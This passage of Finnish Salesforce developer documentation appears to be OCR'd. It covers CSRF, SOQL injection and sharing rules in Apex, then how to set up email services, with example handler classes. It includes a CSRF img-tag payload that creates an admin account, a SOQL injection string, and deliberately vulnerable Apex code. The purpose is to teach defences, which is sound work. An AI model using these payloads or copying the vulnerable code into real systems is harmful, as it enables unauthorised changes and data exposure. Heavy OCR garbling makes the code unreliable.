Tamaé voi olla mikd tahansa Web-sivu, mukaan lukien sellainen, joka tarjoaa arvokasta palvelua tai tietoa, joka ohjaa liikennetta kyseiselle
sivustolle. Jossakin hydkkadjan sivulla on HTML-tunniste, joka ndyttda talta:

<img
src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.comstype=admin. . ...
height=1 width=1 />

Toisin sanoen, hydkkadjan sivu sisdltad URL:n, joka suorittaa toimintoa web-sivustollasi. Jos kdyttdja on yhd kirjautuneena Web-sivulle,
kun han vierailee hyokkaajan web-sivulla, URL noudetaan ja toiminnot suoritetaan. Kyseinen hyokkdajd onnistuu, koska kdyttdjd on yha
todennettuna web-sivullesi. Tama on hyvin yksinkertainen esimerkki. Hyokkaaja voi olla luovempi ja kdyttda komentosarjoja, jotka luovat
takaisinkutsupyynnon tai jopa suorittavat CSRF-hyokkayksia AJAX-menetelmidsi vastaan.

Lisdtietoja ja perinteisid puolustusmenetelmid on seuraavissa artikkeleissa:
e http://www.owasp.org/index.php/Cross-Site_Request_Forgery

e http://www.cgisecurity.com/csrf-fag.html

e http://shiflett.org/articles/cross-site-request-forgeries

Salesforce on ottanut kayttéon Force.com-alustassa CSRF-vastaisen tunnuksen tamdn hyodkkayksen estamiseksi. Jokainen sivu sisaltda
satunnaisen merkkijonosarjan piilotetun kentan muodossa. Sovellus tarkastaa kyseisen merkkijonosarjan seuraavan sivulatauksen
yhteydessa eikd kdynnistd komentoa, ellei arvo tdsmad odotetun arvon kanssa. Tdamd ominaisuus suojaa silloin, kun kaytetadn kaikkia
vakio-ohjaimia ja menetelmia.

Tassa kehittaja voi jalleen ohittaa sisadnrakennetut puolustusmenetelmdt huomaamatta riskia. Oletetaan esimerkiksi, etta sinulla on
mukautettu ohjain, jossa kaytat objektitunnusta syottdparametrina, ja kaytat sitten kyseista syottéparametria SOQL-kutsussa. Tarkastele
seuraavaa koodikatkelmaa:

<apex:page controller="myClass" action="{!init}"</apex:page>

public class myClass {
public void init () {
Id id = ApexPages.currentPage () .getParameters().get('id");
Account obj = [select id, Name FROM Account WHERE id = :id];
delete obj;
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return ;

}

Tassd tapauksessa kehittajd on tietdmattdan ohittanut CSRF-vastaiset ohjaimet kehittamalla oman toimintomenetelman. Tunnusparametri
id luetaan ja sitd kdytetdan koodissa. CSRF-vastaista tunnusta ei koskaan lueta tai todenneta. Hyokkdajan web-sivu on voinut lahettdd
kdyttdjan talle sivulle kdyttdmalld CSRF-hydkkaysta ja voinut antaa minka tahansa haluamansa arvon parametrille id.

Tallaisia tilanteita varten ei ole olemassa sisddnrakennettuja puolustusmenetelmis, ja kehittdjien tulisi olla varovaisia kirjoitussivujen
suhteen, jotka toimivat kdyttajan antamien parametrien pohjalta, kuten muuttuja id edellisessa esimerkissa. Mahdollinen ratkaisu
kiertdd ongelma on lisétd rajapinnan vahvistussivu ennen toiminnon suorittamista ja varmistaa, ettd kdyttdjan tarkoitus oli kutsua sivua.

Muita ehdotuksia ovat toimettoman istuntoajan aikakatkaisun lyhentaminen organisaatiolle seka kdyttdjien kehottaminen kirjautumaan
ulos aktiivisesta istunnosta ja valttdmdan selaimen kayttda toisilla sivustoilla vierailemiseen silloin, kun ovat todennettuina.

SOQL-injektio

Muissa ohjelmointikileissa aiempi virhe tunnetaan SQL-injektiona. Apex ei kaytd SQL:d3, vaan sen omaa tietokannan kyselykieltd. SOQL
on yksinkertaisempi ja sen toiminnollisuus on rajoitetumpi kuin SQL:n. Siksi riskit ovat paljon alhaimmat SOQL-injektiolle kuin SQL-injektiolle,
mutta hyokkaykset ovat ldhes samanlaisia molemmille. Eli yhteenvetona: SQL/SOQL-injektiossa kayttdjan antamia arvoja kaytetdan
dynaamisessa SOQL-kyselyssa. Jos syottdtietoa ei vahvisteta, se saattaa sisaltdd SOQL-komentoja, jotka muokkaavat SOQL-lausetta
tehokkaasti ja hamaavat sovellusta suorittamaan epatoivottuja komentoja.

Lisatietoja SQL-injektiohydkkayksista on kohdassa:

e http//www.owasp.org/index.php/SQL_injection

e http//www.owasp.org/index.php/Blind_SQL_lInjection

e http//www.owasp.org/index.php/Guide_to_SQL_Injection

e http://www.google.com/search?g=sql+injection

SOQL-injektiohaavoittuvaisuus Apex-toiminnossa

Alla on yksinkertainen esimerkki Apex- ja Visualforce-koodista, joka on haavoittuvainen SOQL-injektiolle.

<apex:page controller="SOQLController" >
<apex:form>
<apex:outputText value="Enter Name" />
<apex:inputText value="{!name}" />
<apex:commandButton value="Query" action="{!query}“ />
</apex:form>
</apex:page>

public class SOQLController {

public String name {
get { return name;}
set { name = value;}

}

public PageReference query () {
String qryString = 'SELECT Id FROM Contact WHERE ' +

' (IsDeleted = false and Name like \'%' 4+ name + '3\'")';

queryResult = Database.query(gryString);
return null;
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Tama on yksinkertainen esimerkki, mutta kuvaa logiikan. Koodin tarkoitus on hakea yhteyshenkil6itd, joita ei ole poistettu. Kdyttdja antaa
yhden sy6ttéarvon nimeltd name. Arvo voi olla mitd tahansa, jonka kdyttdja antaa eika sitd koskaan vahvisteta. SOQL-kysely rakennetaan
dynaamisesti ja kdynnistetadn sitten menetelmalld Database . query. Jos kayttdja antaa kdypan arvon, lause kdynnistyy odotetulla
tavalla:

// User supplied value: name = Bob
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')

Jos kayttaja kuitenkin antaa odottamattoman syottdarvon, kuten:

// User supplied value for name: test%') OR (Name LIKE '
Tassa tapauksessa kyselyn komentosarjaksi tulee:

SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%'")

Nyt tuloksena nakyvat kaikki yhteyshenkildt, ei vain poistamattomat. SOQL-injektiovirhettd voidaan kdyttad muokkaamaan minkd tahansa
haavoittuvaisen kyselyn logiikkaa.

SOQL-injektion puolustusmenetelmat

Jotta SOQL-injektiohydkkdykset voidaan estad, véltd dynaamisten SOQL-kyselyjen kayttoa. Kaytd sen sijaan staattisia kyselyitd ja sidottuja

muuttujia. Haavoittuvainen esimerkki ylla voitaisiin kirjoittaa uudelleen kayttamalld staattista SOQL:3a seuraavalla tavalla:

public class SOQLController ({
public String name {
get { return name;}
set { name = value;}

}
public PageReference query () {
String queryName = '$' + name + '$';
queryResult = [SELECT Id FROM Contact WHERE
(IsDeleted = false and Name like :queryName)];
return null;
}

}

Jos sinun taytyy kayttaa dynaamista SOQL:33, kaytd menetelmdd escapeSingleQuotes siivoamaan kayttdjan antamaa sydttétieto.
Tama menetelma lisaa lopetusmerkin (\) kaikkiin yksittdisiin lainausmerkkeihin komentosarjassa, joka tulee kayttdjalta. Talld menetelmalla
varmistetaan, etta yksittdisia lainausmerkkeja kohdellaan komentojonot sulkevina merkkeina tietokantakomentojen sijaan.

Tietojen kdyttdoikeuden hallinta

Force.com-kayttdympadristd kdyttda laajoja tiedonjakosdantojd. Kullakin objektilla on kayttdoikeudet ja niilld voi olla jakoasetuksia, joilla
kdyttdjat voivat lukea, luoda, muokata tai poistaa. Ndma asetukset pakotetaan, kun kaytetdan kaikkia vakio-ohjaimia.

Kun kaytetdan Apex-luokkaa, sisédnrakennettuja kdyttdoikeuksia ja kenttdtason suojauksia ei noudateta suorituksen aikana. Oletustoiminnon
mukaisesti Apex-luokka voi lukea ja paivittda kaikkia tietoja organisaatiossa. Koska ndita sdantoja ei pakoteta, Apex-koodia kayttavien
kehittajien taytyy huolehtia siitd,ettd he eivat tahattomasti paljasta arkaluontoista tietoa, joka normaalisti olisi piilotettu kdyttajilta
kayttooikeusrajoituksilla, kenttatason suojauksella tai organisaation laajuisilla oletuksilla. Tdmd pitda erityisen hyvin paikkaansa

Visualforce-sivuilla. Tarkastele esimerkiksi seuraavaa Apex-pseudokoodia:

public class customController
public void read() {
Contact contact = [SELECT id FROM Contact WHERE Name = :value];
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Tassa tapauksessa etsitadn kaikkia yhteyshenkilotietueita, vaikka talld hetkelld sisddnkirjautuneena olevalla kdyttajalld ei normaalisti olisi
oikeuksia tarkastella kaikkia tietueita. Ratkaisu on kdyttad seuraavia avainsanoja with sharing, kun luokkaa jaetaan:

public with sharing class customController ({

}

Avainsana with sharing ohjaa kdyttdympadristdd kdyttamdan jako-oikeuden kayttooikeuksia talld hetkelld sisdankirjautuneelle

kdyttdjalle sen sijaan, ettd antaisi tayden kayttdoikeuden kaikkiin tietueisiin.
Sahképostipalvelut

Mit& ovat sGhkdpostipalvelut?

Sahkdpostipalvelut ovat automaattisia prosesseja, jotka kayttavat Apex-luokkia saapuvien
sdhkopostiviestien sisdllon, otsikoiden ja liitetiedostojen kasittelyyn. Voit esimerkiksi luoda
sdhkopostipalvelun, joka luo automaattisesti yhteyshenkilStietueita sahkdpostiviestien
yhteyshenkilotietojen perusteella.

Jokaiseen sahképostipalveluun voi kohdistaa vahintdan yhden Salesforcen luoman
sahkdpostiosoitteen, johon kdyttajat voivat ldhettad sahkopostia kasiteltavaksi. Jos haluat, etta useat
kdyttajat voivat kdyttda samaa sahkopostipalvelua, voit

e kohdistaa sahkdpostipalveluun useita Salesforcen luomia séhkopostiosoitteita ja jakaa osoitteet
kayttajille.

e kohdistaa sahkopostipalveluun yhden Salesforcen luoman sahkopostiosoitteen ja kirjoittaa
Apex-luokan, joka suoritetaan sahkopostipalvelua kayttavan kayttajan mukaan. Voit esimerkiksi

kirjoittaa Apex-luokan, joka tunnistaa kdyttdjan hanen sahképostiosoitteensa perusteella ja luo
tietueita kdyttajan puolesta.

Kayta sahkopostipalveluita kirjoittamalla Mddritykset-valikon Pikahaku-kenttdan
Sdhképostipalvelut javalitsemalla Sdhkopostipalvelut.

e M3&arita uusi sahkdpostipalvelu valitsemalla Uusi sahkopostipalvelu.

e Valitsemalla olemassa olevan sahkdpostipalvelun voit tarkastella sen madrityksia, ottaa sen
kdyttoon tai poistaa sen kdytostd seka tarkastella ja maarittda sen sahkdpostiosoitteita.

e Kun haluat muuttaa sahkopostipalvelua, valitse Muokkaa.
e Voit poistaa sahkdpostipalvelun valitsemalla Poista.

@ Note: Sinun tdytyy poistaa kaikki asiaankuuluvat sahkdpostipalveluosoitteet ennen kuin
voit poistaa sahkdpostipalvelun.

Ota huomioon seuraavat sahkopostipalveluiden maarittamista koskevat asiat:
e Sdhkopostipalvelu kasittelee vain sahkdpostiviestit, jotka saapuvat sen osoitteisiin.

e Salesforce rajoittaa kaikkien sahkdpostipalveluiden, mukaan lukien Sdhkopostista tapaukseksi
tarvittaessa -toiminnon, paivittdin kasittelemien viestien madrad. Enimmadismaaran ylittavat
viestit palautetaan, hylatadn tai asetetaan seuraavan pdivan kasittelyjonoon sen mukaan, minkd

EDITION-VERSIOT

Kéytettavissd: Salesforce
Classicissa ja Lightning
Experiencessa

Kéytettévissd Enterprise
Edition-, Performance
Edition-, Unlimited Edition-
jo Developer Edition
-versioissa

Sdhképostipalveluiden
kayttd asennetuissa
AppExchange-paketeissa
on kdaytettavissd myos:
Group Edition- ja
Professional Edition
-versioissa.

KAYTTJAOIKEUDET

Apex-sdhkopostipalveluiden

ja

sthkopostipalveluosoitteiden

madrittdminen:

e Kaikkien tietojen
muokkausoikeus

Apex-luokkien luominen:
e Apex-laadintaoikeus

asetukset valitset kunkin sahkdpostipalvelunvastausasetuksissa. Salesforce laskee rajoituksen kertomalla kayttdjalisenssien maaran
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1.000:/la, lopputuloksena enintadn 1 000 000. Esimerkiksi, jos sinulla on 10 lisenssid, organisaatiosi voi kasitelld korkeintaan 10 000

sahkdpostia pdivassa.

Sandboxissa luotuja sahkopostipalveluosoitteita ei voi kopioida tuotanto-organisaatioon.

Voit madrittad sahkodpostipalvelut siten, etta Salesforce lahettda virhesahkopostit tiettyyn osoitteeseen ldhettdjan sahkdpostiosoitteen

Sijaan.

Sahkopostipalvelut hylkddvat sahkdpostiviestit ja ilmoittavat lahettajdlle, jos sahkdposti (tekstiosa, HTML-osa ja liitteet yhdessd) ylittda

noin 10 Mt (vaihtelee kielen ja merkistokoodauksen mukaisesti).

KATSO MYOS:

Sahkopostipalveluosoitteiden maarittaminen
Sahkopostipalveluiden maarittaminen

InboundEmail-objektin kdyttaminen

Sahképostipalveluosoitteiden madarittdminen

1.

Kirjoita Maaritykset-valikon Pikahaku-kenttddn Sdhképostipalvelut javalitse
Sahkopostipalvelut.

Valitse sahkdpostipalvelu, jonka osoitteen haluat maarittda.

Voit luoda uuden osoitteen valitsemalla Uusi sahkopostiosoite tai muokata olemassa olevan
sahkdpostipalveluosoitteen maarityksia valitsemalla Muokkaa. Poistaaksesi
sdhkopostipalveluosoitteen, valite Ndyta ja Poista.

Kirjoita Sahképostiosoite-kenttddn sahkdpostipalveluosoitteen paikallinen osa. Salesforce
luo jokaiselle sahkopostipalveluosoitteelle oman toimialueosan, jotta jokainen
sahkdpostipalveluosoite olisi yksilollinen. Luotu toimialueosa nakyy
Sahksépostiosoite-kentdn oikealla puolella.

o Vihje: Salesforce-sahkopostiosoitteen paikallisessa osoitteessa voi kayttaa kaikkia
aakkosnumeerisia merkkeja sekd seuraavia erikoismerkkejd: #5%&*/=2A_+-'{|}~.
Salesforce-sahkdpostiosoitteen toimialueosassa voi olla vain aakkosnumeerisia merkkeja
sekd yhdysviiva (-). My0s pistetta () voit kdyttda seka paikallisessa ettd toimialueosassa,
kunhan se ei ole ensimmainen tai viimeinen merkki.

Salesforce-sahkopostiosoitteet eivit ole merkkikokoriippuvaisia.

Valitse Aktiivinen-valintaruuty, jos haluat sahkodpostipalveluosoitteen aktivoituvan, kun
valitset Tallenna.

Valitse Kontekstikayttaja. Sahkopostipalvelu saa kontekstikdyttdjan oikeudet, kun se
kdsittelee tdmdn osoitteen vastaanottamia viesteja. Esimerkki: jos sahkopostipalvelu on mdaritetty
muokkaamaan yhteyshenkildtietueita, kun se vastaanottaa pdivitettyja yhteyshenkilotietoja,

sahkdpostipalvelu muokkaa tietuetta vain, jos kontekstikayttajalld on tietueen muokkausoikeus.

@ Tarkedd: Valitse kontekstikdyttdja, jolla on oikeudet suorittaa Apex-luokka, jota
sdhkopostipalvelu on madritetty kayttamaan.

Vaihtoehtoisesti voit maarittad sahkopostipalveluosoitteen hyvaksymadn viestejd vain tietyiltd
lahettdjilta lisddmalld heidan sahkopostiosoitteensa ja toimialueensa Hyvaksy sdhképosti
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kohteesta -tekstikenttadn. Erota tiedot pilkulla. Esimerkki: george@mycompany.com, yahoo.com, gmail.com. Jos Hyvaksy
sahkoéposti kohteesta -tekstikentdssd on arvo ja sahkdpostipalvelu saa viestin sahkdpostiosoitteesta tai toimialueelta, joka
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ei ole luettelossa, sahkopostipalvelu suorittaa toiminnon, joka on madritetty Kielletty l&hett&jd -toiminto
-vastausasetuksessa.

Jata kenttd tyhjaksi, jos haluat, ettd sahkopostipalvelu ottaa vastaan viestejd kaikista sahkdpostiosoitteista.

@ Note: Jos sekd sahkdpostipalvelu ettd sahkopostipalveluosoite on madritetty hyvaksymaan viesteja vain tietyilta lahettdjilta,
sahkdpostipalvelu kdsittelee vain seka sahkopostipalvelun ettd sahkdpostipalveluosoitteen Hyviksy sahképosti
kohteesta -tekstikentissa olevien ldhettdjien viestit.

8. Voittallentaa muutokset valitsemalla Tallenna tai maarittaa séhkopostipalvelulle toisen saapuvan sahkodpostin osoitteen valitsemalla

Tallenna ja uusi.

KATSO MYOS:
Sahkopostipalveluiden madrittdaminen

Mita ovat sahkdpostipalvelut?

Sahkopostipalveluiden méadrittdminen

Sahkopostipalvelun maarittdminen: EDITION-VERSIOT
1. Kirjoita Madritykset-valikon Pikahaku-kenttddn Sdhképostipalvelut javalitse
Sahkopostipalvelut. Kaytettavissa: Salesforce
Classicissa ja Lightning

2. Valitse Uusi sahkopostipalvelu tai muokkaa aiemmin madritettyd séhkopostipalvelua .
. Experiencessa
valitsemalla Muokkaa.

Kéaytettdvissd Enterprise
Edition-, Performance
Edition-, Unlimited Edition-
ja Developer Edition
-versioissa

3. Méaritd sahkopostipalvelun nimi.

Sahkopostipalveluiden
kayttd asennetuissa
AppExchange-paketeissa
on kaytettavissd myos:
Group Edition- ja
Professional Edition
-versioissa.

KAYTTJAOIKEUDET

Apex-sthkopostipalveluiden

ja

stihképostipalveluosoitteiden

madrittéminen:

e Kaikkien tietojen
muokkausoikeus

Apex-luokkien luominen:
e Apex-laadintaoikeus
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4. Valitse Apex-luokka, jota haluat sdhkdpostipalvelun kdyttavan viestin tuottamiseen. Apex-luokan tulee kayttaa
Messaging.InboundEmailHandler-rajapintaa. Esimerkki

global class myHandler implements Messaging.InboundEmailHandler {
global Messaging.InboundEmailResult handleInboundEmail (Messaging.InboundEmail
email, Messaging.InboundEnvelope envelope) {
Messaging.InboundEmailResult result = new Messaging.InboundEmailresult();

return result;

}

Lisdtietoja InboundEmail-objektista on kohdassa InboundEmail-objektin kdyttdminen sivulla 102.
5. Valitse liitetiedostotyypit, jotka haluat sahkdpostipalvelun hyvaksyvan. Vaihtoehdot:
Ei mitaan
Sdhkopostipalvelu hyvaksyy viestit mutta hylkda kaikki liitetiedostot.

Vain tekstiliitetiedostot
Sdhkopostipalvelu hyvéksyy vain seuraavantyyppiset liitetiedostot:

e liitetiedostot, joiden Multipurpose Internet Mail Extension (MIME) -tyyppi on text

e liitetiedostoja, joiden MIME-tyyppion application/octet-stream jajoiden tiedostonimessd on padte .vcf tai
.vcs. Nama tallennetaan MIME-tyyppeind text/x-vcard ja text/calendar.

Viestit, joissa on muuntyyppisid liitetiedostoja, hyvaksytdan, mutta niiden liitetiedostot hylatdan.

Vain binaariset liitetiedostot
Séhkopostipalvelu hyvéksyy vain binaariset liitetiedostot, kuten kuva-, &ni-, sovellus- ja videotiedostot. Binaariliitteilld on raja 5
Mt liitetta kohden.

Viestit, joiden liitetiedostot eivat ole binaarisia, hyvaksytadn, mutta niiden liitetiedostot hyldtaan.
Kaikki
Sahkapostipalvelu hyvaksyy kaikki liitetiedostot.
@ Note: Sdahkdpostipalvelu voi kdsitelld liitetiedostoja vain, jos madritat sen hyvaksymaan liitetiedostot ja kdytdt Apex-luokkaa,
joka kasittelee palvelun hyvaksymia liitetiedostotyyppeja.

Huomaa, ettd sahkopostipalvelut eivat voi hyvaksya sisdisia litteitd, kuten sahképostiviesteihin liitettya grafiikkaa.

6. Voit myos valita Sahképostin lisidsuojausasetukset -valintaruudun, jos haluat konfiguroida séhkopostipalvelun
varmistamaan lahettdvan palvelimen luotettavuuden ennen viestin kdsittelyd. Sahkopostipalvelu varmistaa ldhettdjan kelpoisuuden
seuraavien tunnistusprotokollien avulla:

e SPF
e Senderld
e DomainKeys

Jos véhintdan yksi ndista protokollista hyvaksyy lahettavan palvelimen eikd mikdan niista hylkaa sitd, sahkdpostipalvelu hyvaksyy
sahkdpostin. Jos jokin protokolla hylkda viestin tai palvelin ei tue mitadn protokollista, séhkdpostipalvelu suorittaa toiminnon, joka
on madritetty Tunnistamaton ldhett&jd -toiminto -vastausasetuksessa.

O Vihje: Varmista, etta lahettdjat, joiden odotat kayttavan sdhkopostipalvelua, tukevat ainakin yhta edella mainituista
tunnistusprotokollista, ennen kuin valitset Tunnista lahett&djat -valintaruudun. Lisatietoa tunnistusprotokollista on
seuraavissa osoitteissa:

* www.openspf.org
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e www.microsoft.com/mscorp/safety/technologies/senderid/default.mspx

7. Séahkopostipalvelut hylkdavat sahkopostiviestit ja ilmoittavat lahettdjalle, jos sahkoposti (tekstiosa, HTML-osa ja liitteet yhdessa) ylittaa
noin 10 Mt (vaihtelee kielen ja merkistokoodauksen mukaisesti).

8. Voit muuntaa tekstiliitteet binaariliitteiksi.

9. Vaihtoehtoisesti voit madrittda sahkopostipalvelun hyvaksymaan viesteja vain tietyilta lahettdjilta lisddmalld heidan
sahkdpostiosoitteensa ja toimialueensa Hyviksy sadhképosti kohteesta -tekstikenttddn. Erota tiedot pilkulla. Esimerkki:
george@mycompany.com, yahoo.com, gmail.com. Jos Hyvidksy sahképosti kohteesta -tekstikentdssa on arvo ja
sahkdpostipalvelu saa viestin sahkdpostiosoitteesta tai toimialueelta, joka ei ole luettelossa, sahkdpostipalvelu suorittaa toiminnon,
joka on madritetty Kielletty lihettdjad -toiminto -vastausasetuksessa.

Jata kenttd tyhjaksi, jos haluat, ettd sahkopostipalvelu ottaa vastaan viestejd kaikista sahkdpostiosoitteista.

@ Note: Voit myds tunnistaa sahkdpostiosoitteet ja toimialueet sahkdpostipalveluosoitteen tasolla. Lisatietoja on kohdassa
Sahkdpostipalveluosoitteiden madrittdminen sivulla 98.

Jos sekd sahkopostipalvelu ettd sahkdpostipalveluosoite on madritetty hyvaksymaan viesteja vain tietyiltd ldhettdjilta,
sahkdpostipalvelu kdsittelee vain seka sahkopostipalvelun ettd sahkdpostipalveluosoitteen Hyviksy sahkdposti
kohteesta -tekstikentissa olevien ldhettdjien viestit.

10. Valitse Aktiivinen-valintaruuty, jos haluat sahkopostipalvelun aktivoituvan, kun valitset Tallenna.

11. Valitse vastausasetukset, jotka maarittavat, miten sahkdpostipalvelu vastaa, jos sahkdpostipalvelun kayttd epdonnistuu seuraavista
syista:
Sdhkopostin enimmdismdardn ylittymistoiminto
Médrittad, mitd sahkdpostipalvelu tekee, jos kaikkien sahkdpostipalveluiden késittelemien sahkdpostien kokonaismaara ylittad
organisaation suurimman sallitun péivittdisen madrdn. Salesforce laskee rajoituksen kertomalla kdyttdjalisenssien madrdn 1000:lla,
lopputuloksena enintadn 1000 000. Esimerkiksi, jos sinulla on 10 lisenssid, organisaatiosi voi kasitelld korkeintaan 10 000 sahkdpostia
paivdssd.

Kaytostd poistettu sdhkopostiosoite -toiminto
Maarittda, mita sahkdpostipalvelu tekee viesteille, jotka on lahetetty kdytdsta poistettuun sahkdpostiosoitteeseen.

Kaytosta poistettu sdhkopostipalvelu -toiminto
Madrittad, mita sahkdpostipalvelu tekee viesteille, joita se vastaanottaa, kun itse séhkopostipalvelu on poistettu kdytdsta.

Tunnistamaton lahettdja -toiminto
Maarittad, mitd sahkopostipalvelu tekee viesteille, joita tunnistusprotokollat eivat hyvaksy tai jotka eivat tue tunnistusprotokollia,
jos Tunnista l&dhett&jat -valintaruutu on valittuna.

Kielletty lahettajd -toiminto
Maarittda, mita sahkopostipalvelu tekee viesteille, jotka saapuvat lahettdjilta, joita ei ole lueteltu sahkopostipalvelun tai
sahkdpostipalveluosoitteen Hyviksy sdhképosti kohteesta -tekstikentdssa.

Vastausosoitevaihtoehdot:

Palauta viesti
Sahkopostipalvelu palauttaa viestin ja ilmoituksen viestin hylkadmisen syystd lahettajalle tai Sdhkodpostista tapaukseksi tarvittaessa
-toiminnon Automatisoidun tapauksen kaytt&ja -kentdssa mdaritetylle kdyttdjalle.

Hylkaa viesti
Sahkapostipalvelu hylkad viestin ilmoittamatta lahettdjalle.
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Aseta viesti uudelleen jonoon (vain Sihképostin enimmidismddrin ylittymistoiminto)
Sahkopostipalvelu asettaa viestin kdsittelyjonoon 24 tunnin kuluessa. Jos viestid ei kasitelld 24 tunnin kuluessa, sahkdpostipalvelu
palauttaa lahettdjdlle viestin ja ilmoituksen hylkdadmisen syysta.

12. Lahettadksesi virhesdhkopostiviestit tiettyyn osoitteeseen ldhettdjan sdhkopostiosoitteen sijaan, valitse Ota virheiden
reititys kayttoon jamadritd kohdesdhkdpostikohtaan Reititd virhesidhkdpostit tdhidn osoitteeseen
Talloin 1ahettdjalle ei Idhetetd iimoitusta, kun sdhkdpostipalvelut eivdt pysty kdsittelemdan vastaantulevaa sahkdpostia.

13. Voit tallentaa muutokset valitsemalla Tallenna. Jos haluat luoda sahkdpostiosoitteita tatd séhkopostipalvelua varten, valitse Tallenna
ja uusi sahkopostiosoite. Lisdtietoja on kohdassa Sahkdpostipalveluosoitteiden maarittaminen sivulla 98.

KATSO MYOS:
Sahkopostipalveluosoitteiden maarittaminen

Mitd ovat sdhkdpostipalvelut?

InboundEmail-objektin kayttdminen

Salesforce luo jokaista Apex-sahkdpostipalvelun toimialueen vastaanottamaa sahképostia kohti EDITION-VERSIOT
erillisen InboundEmail-objektin, joka sisdltad kyseisen sahkdpostin sisdllon ja liitetiedostot. Voit
kdyttdd Apex-luokkia, jotka kdyttdvit Messaging. InboundEmailHandler-rajapintaa Kayfettavissd: Salesforce
saapuvan sahkopostiviestin kasittelyssa. Kdyttamalld luokassa handIeInboundEmai 1-metodia Classicissa

voit kayttda InboundEmail-objektia saapuvien sahkdpostiviestien sisallon, otsikoiden ja liitetiedostojen
noutamiseen ja monien toimintojen suorittamiseen.

Kéytettdvissd Enterprise
Edition-, Performance

Nofe: Lisétietoja Apex-sahkdpostipalvelusta on kohdassa Mitd ovat sahképostipalvelut? Edition-, Unlimited Edition-
sivulla 97. ja Developer Edition
-versioissa

Esimerkki 1: Tehtdvien luominen yhteyshenkilGille

Seuraava on esimerkki siitd, miten voit hakea yhteyshenkil6a saapuvan séhképostin osoitteen perusteella ja luoda uuden tehtdvan.

global class CreateTaskEmailExample implements Messaging.InboundEmailHandler {

global Messaging.InboundEmailResult handleInboundEmail (Messaging.inboundEmail email,
Messaging.InboundEnvelope env) {

// Create an InboundEmailResult object for returning the result of the
// Apex Email Service
Messaging.InboundEmailResult result = new Messaging.InboundEmailResult () ;

String myPlainText= '"';
// Add the email plain text into the local variable
myPlainText = email.plainTextBody;

// New Task object to be created
Task[] newTask = new Task[0];

// Try to look up any contacts based on the email from address

// If there is more than one contact with the same email address,

// an exception will be thrown and the catch statement will be called.
try {
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Contact vCon = [SELECT Id, Name, Email
FROM Contact
WHERE Email = :email.fromAddress
LIMIT 1];

// Add a new Task to the contact record we just found above.
newTask.add (new Task (Description = myPlainText,

Priority = 'Normal',

Status = 'Inbound Email',

Subject = email.subject,

IsReminderSet = true,

ReminderDateTime = System.now()+1,

WhoId = vCon.Id)):;

// Insert the new Task
insert newTask;

System.debug ('New Task Object: ' + newTask );
}

// If an exception occurs when the query accesses
// the contact record, a QueryException is called.
// The exception is written to the Apex debug log.
catch (QueryException e) {

System.debug ('Query Issue: ' + e);

// Set the result to true. No need to send an email back to the user
// with an error message
result.success = true;

// Return the result for the Apex Email Service

return result;

Esimerkki 2: Tilauksen perumisviestin kdsittely

Yritysten, jotka lahettavat markkinointisahkdpostia asiakkailleen ja mahdollisille asiakkaille, on tarjottava vastaanottajille mahdollisuus
perua viestien tilaus. Seuraava on esimerkki siitd, miten sahkopostipalvelu voi kdsitelld tilausten perumispyyntdjd. Koodi etsii saapuvan
sahkdpostin aiherivilta lauseketta “peru tilaus”. Jos lauseke 16ytyy, koodi etsii kaikki Lahettdja-sahkopostiosoitetta vastaavat yhteyshenkilét
ja liidit ja asettaa Sdhképosti kielletty -kentdn (HasOptedOutOfEmail) arvoksiTosi.

Global class unsubscribe implements Messaging.inboundEmailHandler({
Global Messaging.InboundEmailResult handleInboundEmail (Messaging.InboundEmail email,
Messaging.InboundEnvelope env ) {
// Create an inboundEmailResult object for returning
// the result of the email service.

Messaging.InboundEmailResult result = new Messaging.InboundEmailResult () ;

// Create contact and lead lists to hold all the updated records.
List<Contact> 1lc = new List <contact>();
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List<Lead> 11 = new List <lead>();

// Convert the subject line to lower case so the program can match on lower case.

String mySubject = email.subject.tolLowerCase();

// The search string used in the subject line.

String s = 'unsubscribe';

// Check the variable to see if the word "unsubscribe" was found in the subject
line.

Boolean unsubMe;

// Look for the word "unsubcribe" in the subject line.

// If it is found, return true; otherwise, return false.

unsubMe = mySubject.contains(s);

// If unsubscribe is found in the subject line, enter the IF statement.
if (unsubMe == true) {

try {

// Look up all contacts with a matching email address.

for (Contact c : [SELECT Id, Name, Email, HasOptedOutOfEmail
FROM Contact
WHERE Email = :env.fromAddress

AND hasOptedOutOfEmail = false
LIMIT 100]) {

// Add all the matching contacts into the list.
c.hasOptedOutOfEmail = true;
lc.add(c);
}
// Update all of the contact records.
update lc;
}
catch (System.QueryException e) {
System.debug ('Contact Query Issue: ' + e);

try {
// Look up all leads matching the email address.
for (Lead 1 : [SELECT Id, Name, Email, HasOptedOutOfEmail
FROM Lead
WHERE Email = :env.fromAddress
AND isConverted = false
AND hasOptedOutOfEmail = false
LIMIT 10071) {
// Add all the leads to the list.
1.hasOptedOutOfEmail = true;
1l.add (1),

System.debug ('Lead Object: ' + 1);
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// Update all lead records in the query.
update 11;

catch (System.QueryException e) {
System.debug ('Lead Query Issue: ' + e);

System.debug ('Found the unsubscribe word in the subject line.');

}

else {

System.debug ('No Unsuscribe word found in the subject line.' );

}
// Return True and exit.
// True confirms program is complete and no emails
// should be sent to the sender of the unsubscribe request.
result.success = true;
return result;

@isTest
private class unsubscribeTest {
// The following test methods provide adequate code coverage
// for the unsubscribe email class.
// There are two methods, one that does the testing
// with a valid "unsubcribe" in the subject line
// and one the does not contain "unsubscribe" in the
// subject line.
static testMethod void testUnsubscribe () {

// Create a new email and envelope object.
Messaging.InboundEmail email = new Messaging.InboundEmail () ;
Messaging.InboundEnvelope env = new Messaging.InboundEnvelope () ;

// Create a new test lead and insert it in the test method.
Lead 1 = new lead(firstName='John',

lastName='Smith',

Company="'Salesforce',

Email="user@acme.com',

HasOptedOutOfEmail=false) ;
insert 1;

// Create a new test contact and insert it in the test method.
Contact ¢ = new Contact (firstName='john',

lastName="'smith',

Email="user@acme.com',

HasOptedOutOfEmail=false);
insert c;

// Test with the subject that matches the unsubscribe statement.

email.subject = 'test unsubscribe test';
env.fromAddress = 'user@acme.com';
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// Call the class and test it with the data in the testMethod.
unsubscribe unsubscribeObj = new unsubscribe () ;

unsubscribeObj.handleInboundEmail (email,

static testMethod void testUnsubscribe2 () {

env );

// Create a new email and envelope object.

Messaging.InboundEmail email = new Messaging.InboundEmail () ;

Messaging.InboundEnvelope env = new Messaging.InboundEnvelope () ;

// Create a new test lead and insert it in the test method.

Lead 1 = new lead(firstName='john',
